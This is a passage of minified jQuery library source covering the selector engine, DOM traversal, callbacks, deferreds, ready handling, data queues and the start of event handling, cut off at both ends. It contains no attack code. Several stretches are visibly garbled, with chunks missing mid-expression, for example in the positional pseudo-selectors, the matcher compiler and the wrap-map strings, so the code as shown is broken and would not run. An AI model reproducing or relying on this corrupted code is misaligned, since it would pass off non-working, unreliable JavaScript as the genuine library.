r!==r||n?t:r<0?String.fromCharCode(r+65536):String.fromCharCode(r>>10|55296,1023&r|56320)},te=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g,ne=function(e,t){return t?"\0"===e?"\ufffd":e.slice(0,-1)+"\\"+e.charCodeAt(e.length-1).toString(16)+" ":"\\"+e},re=function(){p()},ie=me(function(e){return!0===e.disabled&&("form"in e||"label"in e)},{dir:"parentNode",next:"legend"});try{L.apply(A=H.call(w.childNodes),w.childNodes),A[w.childNodes.length].nodeType}catch(e){L={apply:A.length?function(e,t){q.apply(e,H.call(t))}:function(e,t){var n=e.length,r=0;while(e[n++]=t[r++]);e.length=n-1}}}function oe(e,t,r,i){var o,s,l,c,f,h,v,m=t&&t.ownerDocument,T=t?t.nodeType:9;if(r=r||[],"string"!=typeof e||!e||1!==T&&9!==T&&11!==T)return r;if(!i&&((t?t.ownerDocument||t:w)!==d&&p(t),t=t||d,g)){if(11!==T&&(f=J.exec(e)))if(o=f[1]){if(9===T){if(!(l=t.getElementById(o)))return r;if(l.id===o)return r.push(l),r}else if(m&&(l=m.getElementById(o))&&x(t,l)&&l.id===o)return r.push(l),r}else{if(f[2])return L.apply(r,t.getElementsByTagName(e)),r;if((o=f[3])&&n.getElementsByClassName&&t.getElementsByClassName)return L.apply(r,t.getElementsByClassName(o)),r}if(n.qsa&&!S[e+" "]&&(!y||!y.test(e))){if(1!==T)m=t,v=e;else if("object"!==t.nodeName.toLowerCase()){(c=t.getAttribute("id"))?c=c.replace(te,ne):t.setAttribute("id",c=b),s=(h=a(e)).length;while(s--)h[s]="#"+c+" "+ve(h[s]);v=h.join(","),m=K.test(e)&&ge(t.parentNode)||t}if(v)try{return L.apply(r,m.querySelectorAll(v)),r}catch(e){}finally{c===b&&t.removeAttribute("id")}}}return u(e.replace(B,"$1"),t,r,i)}function ae(){var e=[];function t(n,i){return e.push(n+" ")>r.cacheLength&&delete t[e.shift()],t[n+" "]=i}return t}function se(e){return e[b]=!0,e}function ue(e){var t=d.createElement("fieldset");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function le(e,t){var n=e.split("|"),i=n.length;while(i--)r.attrHandle[n[i]]=t}function ce(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&e.sourceIndex-t.sourceIndex;if(r)return r;if(n)while(n=n.nextSibling)if(n===t)return-1;return e?1:-1}function fe(e){return function(t){return"input"===t.nodeName.toLowerCase()&&t.type===e}}function pe(e){return function(t){var n=t.nodeName.toLowerCase();return("input"===n||"button"===n)&&t.type===e}}function de(e){return function(t){return"form"in t?t.parentNode&&!1===t.disabled?"label"in t?"label"in t.parentNode?t.parentNode.disabled===e:t.disabled===e:t.isDisabled===e||t.isDisabled!==!e&&ie(t)===e:t.disabled===e:"label"in t&&t.disabled===e}}function he(e){return se(function(t){return t=+t,se(function(n,r){var i,o=e([],n.length,t),a=o.length;while(a--)n[i=o[a]]&&(n[i]=!(r[i]=n[i]))})})}function ge(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}n=oe.support={},o=oe.isXML=function(e){var t=e&&(e.ownerDocument||e).documentElement;return!!t&&"HTML"!==t.nodeName},p=oe.setDocument=function(e){var t,i,a=e?e.ownerDocument||e:w;return a!==d&&9===a.nodeType&&a.documentElement?(d=a,h=d.documentElement,g=!o(d),w!==d&&(i=d.defaultView)&&i.top!==i&&(i.addEventListener?i.addEventListener("unload",re,!1):i.attachEvent&&i.attachEvent("onunload",re)),n.attributes=ue(function(e){return e.className="i",!e.getAttribute("className")}),n.getElementsByTagName=ue(function(e){return e.appendChild(d.createComment("")),!e.getElementsByTagName("*").length}),n.getElementsByClassName=Q.test(d.getElementsByClassName),n.getById=ue(function(e){return h.appendChild(e).id=b,!d.getElementsByName||!d.getElementsByName(b).length}),n.getById?(r.filter.ID=function(e){var t=e.replace(Z,ee);return function(e){return e.getAttribute("id")===t}},r.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&g){var n=t.getElementById(e);return n?[n]:[]}}):(r.filter.ID=function(e){var t=e.replace(Z,ee);return function(e){var n="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return n&&n.value===t}},r.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&g){var n,r,i,o=t.getElementById(e);if(o){if((n=o.getAttributeNode("id"))&&n.value===e)return[o];i=t.getElementsByName(e),r=0;while(o=i[r++])if((n=o.getAttributeNode("id"))&&n.value===e)return[o]}return[]}}),r.find.TAG=n.getElementsByTagName?function(e,t){return"undefined"!=typeof t.getElementsByTagName?t.getElementsByTagName(e):n.qsa?t.querySelectorAll(e):void 0}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if("*"===e){while(n=o[i++])1===n.nodeType&&r.push(n);return r}return o},r.find.CLASS=n.getElementsByClassName&&function(e,t){if("undefined"!=typeof t.getElementsByClassName&&g)return t.getElementsByClassName(e)},v=[],y=[],(n.qsa=Q.test(d.querySelectorAll))&&(ue(function(e){h.appendChild(e).innerHTML="",e.querySelectorAll("[msallowcapture^='']").length&&y.push("[*^$]="+M+"*(?:''|\"\")"),e.querySelectorAll("[selected]").length||y.push("\\["+M+"*(?:value|"+P+")"),e.querySelectorAll("[id~="+b+"-]").length||y.push("~="),e.querySelectorAll(":checked").length||y.push(":checked"),e.querySelectorAll("a#"+b+"+*").length||y.push(".#.+[+~]")}),ue(function(e){e.innerHTML="";var t=d.createElement("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("name","D"),e.querySelectorAll("[name=d]").length&&y.push("name"+M+"*[*^$|!~]?="),2!==e.querySelectorAll(":enabled").length&&y.push(":enabled",":disabled"),h.appendChild(e).disabled=!0,2!==e.querySelectorAll(":disabled").length&&y.push(":enabled",":disabled"),e.querySelectorAll("*,:x"),y.push(",.*:")})),(n.matchesSelector=Q.test(m=h.matches||h.webkitMatchesSelector||h.mozMatchesSelector||h.oMatchesSelector||h.msMatchesSelector))&&ue(function(e){n.disconnectedMatch=m.call(e,"*"),m.call(e,"[s!='']:x"),v.push("!=",W)}),y=y.length&&new RegExp(y.join("|")),v=v.length&&new RegExp(v.join("|")),t=Q.test(h.compareDocumentPosition),x=t||Q.test(h.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)while(t=t.parentNode)if(t===e)return!0;return!1},D=t?function(e,t){if(e===t)return f=!0,0;var r=!e.compareDocumentPosition-!t.compareDocumentPosition;return r||(1&(r=(e.ownerDocument||e)===(t.ownerDocument||t)?e.compareDocumentPosition(t):1)||!n.sortDetached&&t.compareDocumentPosition(e)===r?e===d||e.ownerDocument===w&&x(w,e)?-1:t===d||t.ownerDocument===w&&x(w,t)?1:c?O(c,e)-O(c,t):0:4&r?-1:1)}:function(e,t){if(e===t)return f=!0,0;var n,r=0,i=e.parentNode,o=t.parentNode,a=[e],s=[t];if(!i||!o)return e===d?-1:t===d?1:i?-1:o?1:c?O(c,e)-O(c,t):0;if(i===o)return ce(e,t);n=e;while(n=n.parentNode)a.unshift(n);n=t;while(n=n.parentNode)s.unshift(n);while(a[r]===s[r])r++;return r?ce(a[r],s[r]):a[r]===w?-1:s[r]===w?1:0},d):d},oe.matches=function(e,t){return oe(e,null,null,t)},oe.matchesSelector=function(e,t){if((e.ownerDocument||e)!==d&&p(e),t=t.replace(z,"='$1']"),n.matchesSelector&&g&&!S[t+" "]&&(!v||!v.test(t))&&(!y||!y.test(t)))try{var r=m.call(e,t);if(r||n.disconnectedMatch||e.document&&11!==e.document.nodeType)return r}catch(e){}return oe(t,d,null,[e]).length>0},oe.contains=function(e,t){return(e.ownerDocument||e)!==d&&p(e),x(e,t)},oe.attr=function(e,t){(e.ownerDocument||e)!==d&&p(e);var i=r.attrHandle[t.toLowerCase()],o=i&&N.call(r.attrHandle,t.toLowerCase())?i(e,t,!g):void 0;return void 0!==o?o:n.attributes||!g?e.getAttribute(t):(o=e.getAttributeNode(t))&&o.specified?o.value:null},oe.escape=function(e){return(e+"").replace(te,ne)},oe.error=function(e){throw new Error("Syntax error, unrecognized expression: "+e)},oe.uniqueSort=function(e){var t,r=[],i=0,o=0;if(f=!n.detectDuplicates,c=!n.sortStable&&e.slice(0),e.sort(D),f){while(t=e[o++])t===e[o]&&(i=r.push(o));while(i--)e.splice(r[i],1)}return c=null,e},i=oe.getText=function(e){var t,n="",r=0,o=e.nodeType;if(o){if(1===o||9===o||11===o){if("string"==typeof e.textContent)return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=i(e)}else if(3===o||4===o)return e.nodeValue}else while(t=e[r++])n+=i(t);return n},(r=oe.selectors={cacheLength:50,createPseudo:se,match:V,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(Z,ee),e[3]=(e[3]||e[4]||e[5]||"").replace(Z,ee),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||oe.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&oe.error(e[0]),e},PSEUDO:function(e){var t,n=!e[6]&&e[2];return V.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]||e[5]||"":n&&X.test(n)&&(t=a(n,!0))&&(t=n.indexOf(")",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(Z,ee).toLowerCase();return"*"===e?function(){return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=E[e+" "];return t||(t=new RegExp("(^|"+M+")"+e+"("+M+"|$)"))&&E(e,function(e){return t.test("string"==typeof e.className&&e.className||"undefined"!=typeof e.getAttribute&&e.getAttribute("class")||"")})},ATTR:function(e,t,n){return function(r){var i=oe.attr(r,e);return null==i?"!="===t:!t||(i+="","="===t?i===n:"!="===t?i!==n:"^="===t?n&&0===i.indexOf(n):"*="===t?n&&i.indexOf(n)>-1:"$="===t?n&&i.slice(-n.length)===n:"~="===t?(" "+i.replace($," ")+" ").indexOf(n)>-1:"|="===t&&(i===n||i.slice(0,n.length+1)===n+"-"))}},CHILD:function(e,t,n,r,i){var o="nth"!==e.slice(0,3),a="last"!==e.slice(-4),s="of-type"===t;return 1===r&&0===i?function(e){return!!e.parentNode}:function(t,n,u){var l,c,f,p,d,h,g=o!==a?"nextSibling":"previousSibling",y=t.parentNode,v=s&&t.nodeName.toLowerCase(),m=!u&&!s,x=!1;if(y){if(o){while(g){p=t;while(p=p[g])if(s?p.nodeName.toLowerCase()===v:1===p.nodeType)return!1;h=g="only"===e&&!h&&"nextSibling"}return!0}if(h=[a?y.firstChild:y.lastChild],a&&m){x=(d=(l=(c=(f=(p=y)[b]||(p[b]={}))[p.uniqueID]||(f[p.uniqueID]={}))[e]||[])[0]===T&&l[1])&&l[2],p=d&&y.childNodes[d];while(p=++d&&p&&p[g]||(x=d=0)||h.pop())if(1===p.nodeType&&++x&&p===t){c[e]=[T,d,x];break}}else if(m&&(x=d=(l=(c=(f=(p=t)[b]||(p[b]={}))[p.uniqueID]||(f[p.uniqueID]={}))[e]||[])[0]===T&&l[1]),!1===x)while(p=++d&&p&&p[g]||(x=d=0)||h.pop())if((s?p.nodeName.toLowerCase()===v:1===p.nodeType)&&++x&&(m&&((c=(f=p[b]||(p[b]={}))[p.uniqueID]||(f[p.uniqueID]={}))[e]=[T,x]),p===t))break;return(x-=i)===r||x%r==0&&x/r>=0}}},PSEUDO:function(e,t){var n,i=r.pseudos[e]||r.setFilters[e.toLowerCase()]||oe.error("unsupported pseudo: "+e);return i[b]?i(t):i.length>1?(n=[e,e,"",t],r.setFilters.hasOwnProperty(e.toLowerCase())?se(function(e,n){var r,o=i(e,t),a=o.length;while(a--)e[r=O(e,o[a])]=!(n[r]=o[a])}):function(e){return i(e,0,n)}):i}},pseudos:{not:se(function(e){var t=[],n=[],r=s(e.replace(B,"$1"));return r[b]?se(function(e,t,n,i){var o,a=r(e,null,i,[]),s=e.length;while(s--)(o=a[s])&&(e[s]=!(t[s]=o))}):function(e,i,o){return t[0]=e,r(t,null,o,n),t[0]=null,!n.pop()}}),has:se(function(e){return function(t){return oe(e,t).length>0}}),contains:se(function(e){return e=e.replace(Z,ee),function(t){return(t.textContent||t.innerText||i(t)).indexOf(e)>-1}}),lang:se(function(e){return U.test(e||"")||oe.error("unsupported lang: "+e),e=e.replace(Z,ee).toLowerCase(),function(t){var n;do{if(n=g?t.lang:t.getAttribute("xml:lang")||t.getAttribute("lang"))return(n=n.toLowerCase())===e||0===n.indexOf(e+"-")}while((t=t.parentNode)&&1===t.nodeType);return!1}}),target:function(t){var n=e.location&&e.location.hash;return n&&n.slice(1)===t.id},root:function(e){return e===h},focus:function(e){return e===d.activeElement&&(!d.hasFocus||d.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},enabled:de(!1),disabled:de(!0),checked:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&!!e.checked||"option"===t&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,!0===e.selected},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling)if(e.nodeType<6)return!1;return!0},parent:function(e){return!r.pseudos.empty(e)},header:function(e){return Y.test(e.nodeName)},input:function(e){return G.test(e.nodeName)},button:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&"button"===e.type||"button"===t},text:function(e){var t;return"input"===e.nodeName.toLowerCase()&&"text"===e.type&&(null==(t=e.getAttribute("type"))||"text"===t.toLowerCase())},first:he(function(){return[0]}),last:he(function(e,t){return[t-1]}),eq:he(function(e,t,n){return[n<0?n+t:n]}),even:he(function(e,t){for(var n=0;n=0;)e.push(r);return e}),gt:he(function(e,t,n){for(var r=n<0?n+t:n;++r1?function(t,n,r){var i=e.length;while(i--)if(!e[i](t,n,r))return!1;return!0}:e[0]}function be(e,t,n){for(var r=0,i=t.length;r-1&&(o[l]=!(a[l]=f))}}else v=we(v===a?v.splice(h,v.length):v),i?i(null,a,v,u):L.apply(a,v)})}function Ce(e){for(var t,n,i,o=e.length,a=r.relative[e[0].type],s=a||r.relative[" "],u=a?1:0,c=me(function(e){return e===t},s,!0),f=me(function(e){return O(t,e)>-1},s,!0),p=[function(e,n,r){var i=!a&&(r||n!==l)||((t=n).nodeType?c(e,n,r):f(e,n,r));return t=null,i}];u1&&xe(p),u>1&&ve(e.slice(0,u-1).concat({value:" "===e[u-2].type?"*":""})).replace(B,"$1"),n,u0,i=e.length>0,o=function(o,a,s,u,c){var f,h,y,v=0,m="0",x=o&&[],b=[],w=l,C=o||i&&r.find.TAG("*",c),E=T+=null==w?1:Math.random()||.1,k=C.length;for(c&&(l=a===d||a||c);m!==k&&null!=(f=C[m]);m++){if(i&&f){h=0,a||f.ownerDocument===d||(p(f),s=!g);while(y=e[h++])if(y(f,a||d,s)){u.push(f);break}c&&(T=E)}n&&((f=!y&&f)&&v--,o&&x.push(f))}if(v+=m,n&&m!==v){h=0;while(y=t[h++])y(x,b,a,s);if(o){if(v>0)while(m--)x[m]||b[m]||(b[m]=j.call(u));b=we(b)}L.apply(u,b),c&&!o&&b.length>0&&v+t.length>1&&oe.uniqueSort(u)}return c&&(T=E,l=w),x};return n?se(o):o}return s=oe.compile=function(e,t){var n,r=[],i=[],o=S[e+" "];if(!o){t||(t=a(e)),n=t.length;while(n--)(o=Ce(t[n]))[b]?r.push(o):i.push(o);(o=S(e,Ee(i,r))).selector=e}return o},u=oe.select=function(e,t,n,i){var o,u,l,c,f,p="function"==typeof e&&e,d=!i&&a(e=p.selector||e);if(n=n||[],1===d.length){if((u=d[0]=d[0].slice(0)).length>2&&"ID"===(l=u[0]).type&&9===t.nodeType&&g&&r.relative[u[1].type]){if(!(t=(r.find.ID(l.matches[0].replace(Z,ee),t)||[])[0]))return n;p&&(t=t.parentNode),e=e.slice(u.shift().value.length)}o=V.needsContext.test(e)?0:u.length;while(o--){if(l=u[o],r.relative[c=l.type])break;if((f=r.find[c])&&(i=f(l.matches[0].replace(Z,ee),K.test(u[0].type)&&ge(t.parentNode)||t))){if(u.splice(o,1),!(e=i.length&&ve(u)))return L.apply(n,i),n;break}}}return(p||s(e,d))(i,t,!g,n,!t||K.test(e)&&ge(t.parentNode)||t),n},n.sortStable=b.split("").sort(D).join("")===b,n.detectDuplicates=!!f,p(),n.sortDetached=ue(function(e){return 1&e.compareDocumentPosition(d.createElement("fieldset"))}),ue(function(e){return e.innerHTML="","#"===e.firstChild.getAttribute("href")})||le("type|href|height|width",function(e,t,n){if(!n)return e.getAttribute(t,"type"===t.toLowerCase()?1:2)}),n.attributes&&ue(function(e){return e.innerHTML="",e.firstChild.setAttribute("value",""),""===e.firstChild.getAttribute("value")})||le("value",function(e,t,n){if(!n&&"input"===e.nodeName.toLowerCase())return e.defaultValue}),ue(function(e){return null==e.getAttribute("disabled")})||le(P,function(e,t,n){var r;if(!n)return!0===e[t]?t.toLowerCase():(r=e.getAttributeNode(t))&&r.specified?r.value:null}),oe}(e);w.find=E,w.expr=E.selectors,w.expr[":"]=w.expr.pseudos,w.uniqueSort=w.unique=E.uniqueSort,w.text=E.getText,w.isXMLDoc=E.isXML,w.contains=E.contains,w.escapeSelector=E.escape;var k=function(e,t,n){var r=[],i=void 0!==n;while((e=e[t])&&9!==e.nodeType)if(1===e.nodeType){if(i&&w(e).is(n))break;r.push(e)}return r},S=function(e,t){for(var n=[];e;e=e.nextSibling)1===e.nodeType&&e!==t&&n.push(e);return n},D=w.expr.match.needsContext;function N(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()}var A=/^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i;function j(e,t,n){return g(t)?w.grep(e,function(e,r){return!!t.call(e,r,e)!==n}):t.nodeType?w.grep(e,function(e){return e===t!==n}):"string"!=typeof t?w.grep(e,function(e){return u.call(t,e)>-1!==n}):w.filter(t,e,n)}w.filter=function(e,t,n){var r=t[0];return n&&(e=":not("+e+")"),1===t.length&&1===r.nodeType?w.find.matchesSelector(r,e)?[r]:[]:w.find.matches(e,w.grep(t,function(e){return 1===e.nodeType}))},w.fn.extend({find:function(e){var t,n,r=this.length,i=this;if("string"!=typeof e)return this.pushStack(w(e).filter(function(){for(t=0;t1?w.uniqueSort(n):n},filter:function(e){return this.pushStack(j(this,e||[],!1))},not:function(e){return this.pushStack(j(this,e||[],!0))},is:function(e){return!!j(this,"string"==typeof e&&D.test(e)?w(e):e||[],!1).length}});var q,L=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/;(w.fn.init=function(e,t,n){var i,o;if(!e)return this;if(n=n||q,"string"==typeof e){if(!(i="<"===e[0]&&">"===e[e.length-1]&&e.length>=3?[null,e,null]:L.exec(e))||!i[1]&&t)return!t||t.jquery?(t||n).find(e):this.constructor(t).find(e);if(i[1]){if(t=t instanceof w?t[0]:t,w.merge(this,w.parseHTML(i[1],t&&t.nodeType?t.ownerDocument||t:r,!0)),A.test(i[1])&&w.isPlainObject(t))for(i in t)g(this[i])?this[i](t[i]):this.attr(i,t[i]);return this}return(o=r.getElementById(i[2]))&&(this[0]=o,this.length=1),this}return e.nodeType?(this[0]=e,this.length=1,this):g(e)?void 0!==n.ready?n.ready(e):e(w):w.makeArray(e,this)}).prototype=w.fn,q=w(r);var H=/^(?:parents|prev(?:Until|All))/,O={children:!0,contents:!0,next:!0,prev:!0};w.fn.extend({has:function(e){var t=w(e,this),n=t.length;return this.filter(function(){for(var e=0;e-1:1===n.nodeType&&w.find.matchesSelector(n,e))){o.push(n);break}return this.pushStack(o.length>1?w.uniqueSort(o):o)},index:function(e){return e?"string"==typeof e?u.call(w(e),this[0]):u.call(this,e.jquery?e[0]:e):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(e,t){return this.pushStack(w.uniqueSort(w.merge(this.get(),w(e,t))))},addBack:function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}});function P(e,t){while((e=e[t])&&1!==e.nodeType);return e}w.each({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?t:null},parents:function(e){return k(e,"parentNode")},parentsUntil:function(e,t,n){return k(e,"parentNode",n)},next:function(e){return P(e,"nextSibling")},prev:function(e){return P(e,"previousSibling")},nextAll:function(e){return k(e,"nextSibling")},prevAll:function(e){return k(e,"previousSibling")},nextUntil:function(e,t,n){return k(e,"nextSibling",n)},prevUntil:function(e,t,n){return k(e,"previousSibling",n)},siblings:function(e){return S((e.parentNode||{}).firstChild,e)},children:function(e){return S(e.firstChild)},contents:function(e){return N(e,"iframe")?e.contentDocument:(N(e,"template")&&(e=e.content||e),w.merge([],e.childNodes))}},function(e,t){w.fn[e]=function(n,r){var i=w.map(this,t,n);return"Until"!==e.slice(-5)&&(r=n),r&&"string"==typeof r&&(i=w.filter(r,i)),this.length>1&&(O[e]||w.uniqueSort(i),H.test(e)&&i.reverse()),this.pushStack(i)}});var M=/[^\x20\t\r\n\f]+/g;function R(e){var t={};return w.each(e.match(M)||[],function(e,n){t[n]=!0}),t}w.Callbacks=function(e){e="string"==typeof e?R(e):w.extend({},e);var t,n,r,i,o=[],a=[],s=-1,u=function(){for(i=i||e.once,r=t=!0;a.length;s=-1){n=a.shift();while(++s-1)o.splice(n,1),n<=s&&s--}),this},has:function(e){return e?w.inArray(e,o)>-1:o.length>0},empty:function(){return o&&(o=[]),this},disable:function(){return i=a=[],o=n="",this},disabled:function(){return!o},lock:function(){return i=a=[],n||t||(o=n=""),this},locked:function(){return!!i},fireWith:function(e,n){return i||(n=[e,(n=n||[]).slice?n.slice():n],a.push(n),t||u()),this},fire:function(){return l.fireWith(this,arguments),this},fired:function(){return!!r}};return l};function I(e){return e}function W(e){throw e}function $(e,t,n,r){var i;try{e&&g(i=e.promise)?i.call(e).done(t).fail(n):e&&g(i=e.then)?i.call(e,t,n):t.apply(void 0,[e].slice(r))}catch(e){n.apply(void 0,[e])}}w.extend({Deferred:function(t){var n=[["notify","progress",w.Callbacks("memory"),w.Callbacks("memory"),2],["resolve","done",w.Callbacks("once memory"),w.Callbacks("once memory"),0,"resolved"],["reject","fail",w.Callbacks("once memory"),w.Callbacks("once memory"),1,"rejected"]],r="pending",i={state:function(){return r},always:function(){return o.done(arguments).fail(arguments),this},"catch":function(e){return i.then(null,e)},pipe:function(){var e=arguments;return w.Deferred(function(t){w.each(n,function(n,r){var i=g(e[r[4]])&&e[r[4]];o[r[1]](function(){var e=i&&i.apply(this,arguments);e&&g(e.promise)?e.promise().progress(t.notify).done(t.resolve).fail(t.reject):t[r[0]+"With"](this,i?[e]:arguments)})}),e=null}).promise()},then:function(t,r,i){var o=0;function a(t,n,r,i){return function(){var s=this,u=arguments,l=function(){var e,l;if(!(t=o&&(r!==W&&(s=void 0,u=[e]),n.rejectWith(s,u))}};t?c():(w.Deferred.getStackHook&&(c.stackTrace=w.Deferred.getStackHook()),e.setTimeout(c))}}return w.Deferred(function(e){n[0][3].add(a(0,e,g(i)?i:I,e.notifyWith)),n[1][3].add(a(0,e,g(t)?t:I)),n[2][3].add(a(0,e,g(r)?r:W))}).promise()},promise:function(e){return null!=e?w.extend(e,i):i}},o={};return w.each(n,function(e,t){var a=t[2],s=t[5];i[t[1]]=a.add,s&&a.add(function(){r=s},n[3-e][2].disable,n[3-e][3].disable,n[0][2].lock,n[0][3].lock),a.add(t[3].fire),o[t[0]]=function(){return o[t[0]+"With"](this===o?void 0:this,arguments),this},o[t[0]+"With"]=a.fireWith}),i.promise(o),t&&t.call(o,o),o},when:function(e){var t=arguments.length,n=t,r=Array(n),i=o.call(arguments),a=w.Deferred(),s=function(e){return function(n){r[e]=this,i[e]=arguments.length>1?o.call(arguments):n,--t||a.resolveWith(r,i)}};if(t<=1&&($(e,a.done(s(n)).resolve,a.reject,!t),"pending"===a.state()||g(i[n]&&i[n].then)))return a.then();while(n--)$(i[n],s(n),a.reject);return a.promise()}});var B=/^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;w.Deferred.exceptionHook=function(t,n){e.console&&e.console.warn&&t&&B.test(t.name)&&e.console.warn("jQuery.Deferred exception: "+t.message,t.stack,n)},w.readyException=function(t){e.setTimeout(function(){throw t})};var F=w.Deferred();w.fn.ready=function(e){return F.then(e)["catch"](function(e){w.readyException(e)}),this},w.extend({isReady:!1,readyWait:1,ready:function(e){(!0===e?--w.readyWait:w.isReady)||(w.isReady=!0,!0!==e&&--w.readyWait>0||F.resolveWith(r,[w]))}}),w.ready.then=F.then;function _(){r.removeEventListener("DOMContentLoaded",_),e.removeEventListener("load",_),w.ready()}"complete"===r.readyState||"loading"!==r.readyState&&!r.documentElement.doScroll?e.setTimeout(w.ready):(r.addEventListener("DOMContentLoaded",_),e.addEventListener("load",_));var z=function(e,t,n,r,i,o,a){var s=0,u=e.length,l=null==n;if("object"===x(n)){i=!0;for(s in n)z(e,t,s,n[s],!0,o,a)}else if(void 0!==r&&(i=!0,g(r)||(a=!0),l&&(a?(t.call(e,r),t=null):(l=t,t=function(e,t,n){return l.call(w(e),n)})),t))for(;s1,null,!0)},removeData:function(e){return this.each(function(){K.remove(this,e)})}}),w.extend({queue:function(e,t,n){var r;if(e)return t=(t||"fx")+"queue",r=J.get(e,t),n&&(!r||Array.isArray(n)?r=J.access(e,t,w.makeArray(n)):r.push(n)),r||[]},dequeue:function(e,t){t=t||"fx";var n=w.queue(e,t),r=n.length,i=n.shift(),o=w._queueHooks(e,t),a=function(){w.dequeue(e,t)};"inprogress"===i&&(i=n.shift(),r--),i&&("fx"===t&&n.unshift("inprogress"),delete o.stop,i.call(e,a,o)),!r&&o&&o.empty.fire()},_queueHooks:function(e,t){var n=t+"queueHooks";return J.get(e,n)||J.access(e,n,{empty:w.Callbacks("once memory").add(function(){J.remove(e,[t+"queue",n])})})}}),w.fn.extend({queue:function(e,t){var n=2;return"string"!=typeof e&&(t=e,e="fx",n--),arguments.length\x20\t\r\n\f]+)/i,he=/^$|^module$|\/(?:java|ecma)script/i,ge={option:[1,""],thead:[1,"","
"],col:[2,"","
"],tr:[2,"","
"],td:[3,"","
"],_default:[0,"",""]};ge.optgroup=ge.option,ge.tbody=ge.tfoot=ge.colgroup=ge.caption=ge.thead,ge.th=ge.td;function ye(e,t){var n;return n="undefined"!=typeof e.getElementsByTagName?e.getElementsByTagName(t||"*"):"undefined"!=typeof e.querySelectorAll?e.querySelectorAll(t||"*"):[],void 0===t||t&&N(e,t)?w.merge([e],n):n}function ve(e,t){for(var n=0,r=e.length;n-1)i&&i.push(o);else if(l=w.contains(o.ownerDocument,o),a=ye(f.appendChild(o),"script"),l&&ve(a),n){c=0;while(o=a[c++])he.test(o.type||"")&&n.push(o)}return f}!function(){var e=r.createDocumentFragment().appendChild(r.createElement("div")),t=r.createElement("input");t.setAttribute("type","radio"),t.setAttribute("checked","checked"),t.setAttribute("name","t"),e.appendChild(t),h.checkClone=e.cloneNode(!0).cloneNode(!0).lastChild.checked,e.innerHTML="",h.noCloneChecked=!!e.cloneNode(!0).lastChild.defaultValue}();var be=r.documentElement,we=/^key/,Te=/^(?:mouse|pointer|contextmenu|drag|drop)|click/,Ce=/^([^.]*)(?:\.(.+)|)/;function Ee(){return!0}function ke(){return!1}function Se(){try{return r.activeElement}catch(e){}}function De(e,t,n,r,i,o){var a,s;if("object"==typeof t){"string"!=typeof n&&(r=r||n,n=void 0);for(s in t)De(e,s,n,r,t[s],o);return e}if(null==r&&null==i?(i=n,r=n=void 0):null==i&&("string"==typeof n?(i=r,r=void 0):(i=r,r=n,n=void 0)),!1===i)i=ke;else if(!i)return e;return 1===o&&(a=i,(i=function(e){return w().off(e),a.apply(this,arguments)}).guid=a.guid||(a.guid=w.guid++)),e.each(function(){w.event.add(this,t,i,r,n)})}w.event={global:{},add:function(e,t,n,r,i){var o,a,s,u,l,c,f,p,d,h,g,y=J.get(e);if(y){n.handler&&(n=(o=n).handler,i=o.selector),i&&w.find.matchesSelector(be,i),n.guid||(n.guid=w.guid++),(u=y.events)||(u=y.events={}),(a=y.handle)||(a=y.handle=function(t){return"undefined"!=typeof w&&w.event.triggered!==t.type?w.event.dispatch.apply(e,arguments):void 0}),l=(t=(t||"").match(M)||[""]).length;while(l--)d=g=(s=Ce.exec(t[l])||[])[1],h=(s[2]||"").split(".").sort(),d&&(f=w.event.special[d]||{},d=(i?f.delegateType:f.bindType)||d,f=w.event.special[d]||{},c=w.extend({type:d,origType:g,data:r,handler:n,guid:n.guid,selector:i,needsContext:i&&w.expr.match.needsContext.test(i),namespace:h.join(".")},o),(p=u[d])||((p=u[d]=[]).delegateCount=0,f.setup&&!1!==f.setup.call(e,r,h,a)||e.addEventListener&&e.addEventListener(d,a)),f.add&&(f.add.call(e,c),c.handler.guid||(c.handler.guid=n.guid)),i?p.splice(p.delegateCount++,0,c):p.push(c),w.event.global[d]=!0)}},remove:function(e,t,n,r,i){var 